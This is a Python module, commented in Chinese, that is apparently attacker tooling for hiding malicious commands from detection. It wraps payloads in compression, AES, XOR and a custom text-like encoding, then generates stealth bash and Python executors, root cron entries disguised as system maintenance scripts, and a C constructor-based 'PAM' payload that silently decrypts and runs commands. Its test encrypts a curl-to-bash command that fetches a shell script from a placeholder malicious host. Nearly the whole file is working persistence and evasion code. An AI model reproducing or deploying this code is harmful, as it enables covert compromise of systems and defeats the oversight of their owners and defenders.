#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
高级加密模块 - 替换容易被识别的Base64编码
实现多层加密、自定义编码、流量混淆等技术
"""

import os
import sys
import hashlib
import secrets
import string
import random
import zlib
from typing import Union, Tuple, Optional
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import binascii

class AdvancedEncryption:
    """高级加密类 - 多层加密和自定义编码"""
    
    def __init__(self, master_key: str = None):
        self.master_key = master_key or self._generate_master_key()
        self.custom_alphabet = self._generate_custom_alphabet()
        self.compression_enabled = True
        
    def _generate_master_key(self) -> str:
        """生成主密钥"""
        return secrets.token_hex(32)
    
    def _generate_custom_alphabet(self) -> str:
        """生成自定义字母表，避免Base64特征"""
        # 使用看起来像正常文本的字符
        chars = string.ascii_letters + string.digits + "._-"
        shuffled = list(chars)
        random.shuffle(shuffled)
        return ''.join(shuffled)
    
    def _derive_key(self, password: str, salt: bytes = None) -> Tuple[bytes, bytes]:
        """密钥派生"""
        if salt is None:
            salt = os.urandom(16)
        
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA256(),
            length=32,
            salt=salt,
            iterations=100000,
            backend=default_backend()
        )
        key = kdf.derive(password.encode())
        return key, salt
    
    def _custom_encode(self, data: bytes) -> str:
        """自定义编码 - 替换Base64"""
        # 将字节转换为自定义字母表编码
        result = ""
        alphabet_len = len(self.custom_alphabet)
        
        # 转换为大整数
        num = int.from_bytes(data, byteorder='big')
        
        # 转换为自定义进制
        if num == 0:
            return self.custom_alphabet[0]
        
        while num > 0:
            result = self.custom_alphabet[num % alphabet_len] + result
            num //= alphabet_len
        
        # 添加随机填充，模拟正常文本
        padding_len = random.randint(1, 3)
        padding = ''.join(random.choices(string.ascii_lowercase, k=padding_len))
        
        return f"{padding}.{result}.{padding}"
    
    def _custom_decode(self, encoded: str) -> bytes:
        """自定义解码"""
        try:
            # 移除填充
            parts = encoded.split('.')
            if len(parts) >= 3:
                encoded_data = parts[1]
            else:
                encoded_data = encoded
            
            # 从自定义进制转换回整数
            alphabet_len = len(self.custom_alphabet)
            num = 0
            
            for char in encoded_data:
                if char in self.custom_alphabet:
                    num = num * alphabet_len + self.custom_alphabet.index(char)
            
            # 转换回字节
            if num == 0:
                return b'\x00'
            
            byte_length = (num.bit_length() + 7) // 8
            return num.to_bytes(byte_length, byteorder='big')
        except Exception:
            return b''
    
    def _aes_encrypt(self, data: bytes, key: bytes) -> Tuple[bytes, bytes]:
        """AES加密"""
        iv = os.urandom(16)
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        
        # PKCS7填充
        pad_len = 16 - (len(data) % 16)
        padded_data = data + bytes([pad_len] * pad_len)
        
        encrypted = encryptor.update(padded_data) + encryptor.finalize()
        return encrypted, iv
    
    def _aes_decrypt(self, encrypted_data: bytes, key: bytes, iv: bytes) -> bytes:
        """AES解密"""
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()
        
        decrypted = decryptor.update(encrypted_data) + decryptor.finalize()
        
        # 移除PKCS7填充
        pad_len = decrypted[-1]
        return decrypted[:-pad_len]
    
    def _xor_obfuscate(self, data: bytes, key: str) -> bytes:
        """XOR混淆"""
        key_bytes = key.encode()
        result = bytearray()
        
        for i, byte in enumerate(data):
            result.append(byte ^ key_bytes[i % len(key_bytes)])
        
        return bytes(result)
    
    def encrypt_payload(self, payload: str, context: str = "default") -> str:
        """
        多层加密载荷
        1. 压缩（可选）
        2. AES加密
        3. XOR混淆
        4. 自定义编码
        """
        try:
            data = payload.encode('utf-8')
            
            # 1. 压缩（减少特征）
            if self.compression_enabled and len(data) > 50:
                data = zlib.compress(data)
                compressed = True
            else:
                compressed = False
            
            # 2. AES加密
            aes_key, salt = self._derive_key(self.master_key + context)
            encrypted_data, iv = self._aes_encrypt(data, aes_key)
            
            # 3. XOR混淆
            xor_key = hashlib.sha256((self.master_key + context).encode()).hexdigest()[:16]
            obfuscated_data = self._xor_obfuscate(encrypted_data, xor_key)
            
            # 4. 组合元数据
            metadata = bytes([1 if compressed else 0])  # 压缩标志
            combined_data = metadata + salt + iv + obfuscated_data
            
            # 5. 自定义编码
            encoded = self._custom_encode(combined_data)
            
            return encoded
            
        except Exception as e:
            print(f"加密失败: {e}")
            return ""
    
    def decrypt_payload(self, encoded_payload: str, context: str = "default") -> str:
        """解密载荷"""
        try:
            # 1. 自定义解码
            combined_data = self._custom_decode(encoded_payload)
            if len(combined_data) < 33:  # 最小长度检查
                return ""
            
            # 2. 分离元数据
            compressed = bool(combined_data[0])
            salt = combined_data[1:17]
            iv = combined_data[17:33]
            obfuscated_data = combined_data[33:]
            
            # 3. XOR去混淆
            xor_key = hashlib.sha256((self.master_key + context).encode()).hexdigest()[:16]
            encrypted_data = self._xor_obfuscate(obfuscated_data, xor_key)
            
            # 4. AES解密
            aes_key, _ = self._derive_key(self.master_key + context, salt)
            data = self._aes_decrypt(encrypted_data, aes_key, iv)
            
            # 5. 解压缩
            if compressed:
                data = zlib.decompress(data)
            
            return data.decode('utf-8')
            
        except Exception as e:
            print(f"解密失败: {e}")
            return ""
    
    def generate_stealth_command(self, command: str, execution_method: str = "bash") -> str:
        """生成隐蔽命令执行"""
        encrypted_cmd = self.encrypt_payload(command, "cmd_exec")
        
        if execution_method == "bash":
            # 使用环境变量和函数调用隐藏
            return f'''
export _tmp_var="{encrypted_cmd}"
_decode_exec() {{
    python3 -c "
import sys
sys.path.append('/tmp')
from advanced_encryption import AdvancedEncryption
enc = AdvancedEncryption('{self.master_key}')
cmd = enc.decrypt_payload('$1', 'cmd_exec')
import subprocess
subprocess.run(cmd, shell=True)
" "$1"
}}
_decode_exec "$_tmp_var"
unset _tmp_var
unset -f _decode_exec
'''
        elif execution_method == "python":
            return f'''
import tempfile, os
_enc_data = "{encrypted_cmd}"
_tmp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
_tmp_file.write("""
from advanced_encryption import AdvancedEncryption
enc = AdvancedEncryption('{self.master_key}')
cmd = enc.decrypt_payload('{encrypted_cmd}', 'cmd_exec')
exec(cmd)
""")
_tmp_file.close()
exec(open(_tmp_file.name).read())
os.unlink(_tmp_file.name)
'''
    
    def create_stealth_cron_entry(self, schedule: str, command: str) -> str:
        """创建隐蔽的Cron条目"""
        encrypted_cmd = self.encrypt_payload(command, "cron_task")
        
        # 使用看起来正常的脚本名称
        script_names = [
            "/usr/local/bin/system_maintenance.sh",
            "/opt/security/daily_check.sh", 
            "/etc/cron.d/logrotate_helper.sh",
            "/usr/bin/network_monitor.sh"
        ]
        script_path = random.choice(script_names)
        
        # 创建解密脚本
        decrypt_script = f'''#!/bin/bash
# System maintenance script
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Load encryption module
python3 -c "
import sys, os
sys.path.append('/tmp')
try:
    from advanced_encryption import AdvancedEncryption
    enc = AdvancedEncryption('{self.master_key}')
    cmd = enc.decrypt_payload('{encrypted_cmd}', 'cron_task')
    os.system(cmd)
except: pass
" 2>/dev/null

# Cleanup
unset PATH
'''
        
        return {
            'cron_line': f"{schedule} root {script_path} >/dev/null 2>&1",
            'script_path': script_path,
            'script_content': decrypt_script
        }
    
    def create_stealth_pam_payload(self, payload: str) -> str:
        """创建隐蔽的PAM载荷"""
        encrypted_payload = self.encrypt_payload(payload, "pam_module")
        
        # 生成C代码片段
        c_code = f'''
// System authentication helper
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static void system_check(void) __attribute__((constructor));

void system_check(void) {{
    char cmd[2048];
    char *enc_data = "{encrypted_payload}";
    
    // Decrypt and execute
    snprintf(cmd, sizeof(cmd), 
        "python3 -c \\"import sys; sys.path.append('/tmp'); "
        "from advanced_encryption import AdvancedEncryption; "
        "enc = AdvancedEncryption('{self.master_key}'); "
        "cmd = enc.decrypt_payload('%s', 'pam_module'); "
        "import os; os.system(cmd)\\" 2>/dev/null", enc_data);
    
    system(cmd);
}}
'''
        return c_code

# 工具函数
def create_encryption_instance(key: str = None) -> AdvancedEncryption:
    """创建加密实例"""
    return AdvancedEncryption(key)

def test_encryption():
    """测试加密功能"""
    enc = AdvancedEncryption()
    
    test_data = "curl -s http://malicious.com/shell.sh | bash"
    print(f"原始数据: {test_data}")
    
    encrypted = enc.encrypt_payload(test_data)
    print(f"加密后: {encrypted}")
    
    decrypted = enc.decrypt_payload(encrypted)
    print(f"解密后: {decrypted}")
    
    print(f"加密成功: {test_data == decrypted}")

if __name__ == "__main__":
    test_encryption()